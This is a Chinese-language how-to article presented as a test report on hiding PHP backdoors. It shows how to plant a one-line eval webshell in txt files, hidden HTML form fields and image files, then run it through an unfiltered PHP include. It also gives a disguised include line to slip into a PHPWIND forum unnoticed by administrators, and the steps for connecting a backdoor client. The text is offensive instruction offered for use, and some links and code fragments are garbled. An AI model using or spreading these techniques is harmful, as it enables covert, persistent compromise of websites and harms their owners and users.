PHP網(wǎng)站后門(mén)的隱藏技巧測(cè)試報(bào)告
要知道如果光把PHP語(yǔ)句放到圖片里是無(wú)論如何也不能執(zhí)行的,因?yàn)镻HP只解析擴(kuò)展名為php的文件。所以說(shuō)要能使隱藏在圖片里的PHP語(yǔ)句執(zhí)行。我們就的借助PHP中的調(diào)用函數(shù) :include 、require 等。
我們還記得前些日子把木馬隱藏到圖片的文章吧。也就是在PHP文件里用include('x.gif')這樣的語(yǔ)句來(lái)調(diào)用隱藏在圖片的木馬語(yǔ)句。ASP中語(yǔ)句也類(lèi)似。看似非常隱蔽但直接調(diào)用圖片對(duì)稍微懂點(diǎn)PHP的人就不難發(fā)現(xiàn)可疑之處。由于URL 里用GET方式很難傳遞參數(shù),這就使得插入木馬的性能得不到發(fā)揮。
include 函數(shù)在PHP中使用的比較頻繁,所以引起的安全問(wèn)題也實(shí)在太多,例如PHPWIND1.36的漏洞就是因?yàn)閕nclude后面的變量沒(méi)做過(guò)濾引起的。由此我們就可以構(gòu)造類(lèi)似的語(yǔ)句來(lái)插入到PHP文件中。然后把木馬隱藏到圖片或HTML文件里,可以說(shuō)隱蔽性就更高了。如在PHPWIND論壇里插入下面的語(yǔ)句:<‘’?@include includ/.$PHPWIND_ROOT;? <mailto:?@include 'includ/'.$PHPWIND_ROOT;?>> 一般管理員是無(wú)法看出來(lái)的。
有了include 函數(shù)來(lái)輔助幫忙我們就可以把PHP木馬隱藏到 諸如 txt、html和圖片文件等很多類(lèi)型的文件里來(lái)了。因?yàn)閠xt、html和圖片文件這三種類(lèi)型的文件最無(wú)論在論壇還是文章系統(tǒng)里是最為常見(jiàn)的了,下面我們就依次來(lái)做測(cè)試。
首先建立一PHP文件test.php 文件內(nèi)容為:
<?php $test=$_GET['test']; @include 'test/'.$test; ?>;
Txt文件一般都是說(shuō)明文件,所以我們把一句話木馬放到目錄的說(shuō)明文件里就OK了。隨便建立一個(gè)TXT文件t.txt。我們把一句話木馬<?eval($_POST[cmd]);?>粘貼到t.txt文件里。然后訪問(wèn) http://localhost/test/test.php?test=../t.txt <http://localhost/phpw/index.php?PHPWIND_ROOT=../robots.txt> 如果你看到t.txt的內(nèi)容就證明Ok了, 然后把在lanker微型PHP后門(mén)客戶端 木馬地址添入 http://localhost/test/test.php?test=../t.txt <http://localhost/phpw/index.php?PHPWIND_ROOT=../robots.txt> 密碼里添入cmd就可以了,執(zhí)行返回的結(jié)果都可以看到。
對(duì)于HTML的文件,一般都為模版文件。為了使插入到HTML的文件的木馬能被調(diào)用執(zhí)行而且不被顯示出來(lái),我們可以在HTML里加入一個(gè)隱藏屬性的文本框 ,如:<input type=hidden value='<?eval($_POST[cmd]);?>'> 然后使用方法同上。執(zhí)行的返回結(jié)果一般都可以查看源文件看到。 如使用查看本程序目錄功能。查看源文件內(nèi)容為 <input type=hidden value='C:Uniserver2_7swwwtest'> 我可以得到目錄為 C:Uniserver2_7swwwtest。
下面我們說(shuō)說(shuō)圖片文件,要說(shuō)最為毒的一招莫過(guò)于把木馬隱藏到圖片里。我們可以直接對(duì)一個(gè)圖片進(jìn)行編輯,把<?eval($_POST[cmd]);?>插入到圖片末尾。
經(jīng)測(cè)試一般都不會(huì)對(duì)圖片造成影響。然后同樣方法客戶端木馬地址添入 <http://localhost/test/test.php?test=../1.jpg> 我們查看PHP環(huán)境變量 返回的是結(jié)果是原圖片。
這里可能要和我們想象的結(jié)果有些差距了,其實(shí)命令已經(jīng)運(yùn)行了,只是返回的結(jié)果看不到而已,因?yàn)檫@是真正的GIF文件,所以是不會(huì)顯示返回結(jié)果的,為了證明是否真的執(zhí)行了命令我們 執(zhí)行上傳文件命令。果不出所料,文件已經(jīng)成功上傳到服務(wù)器上。這樣偽造的優(yōu)點(diǎn)是隱蔽性好。缺點(diǎn)也自然不用說(shuō)了是沒(méi)回顯。如果你想看到返回的結(jié)果,那就拿出記事本偽造一個(gè)假的圖片文件吧。
到這里就基本測(cè)試完了,怎樣隱蔽PHP后門(mén)就看你自己的選擇了。行文倉(cāng)促,如有不妥之處,請(qǐng)指出.
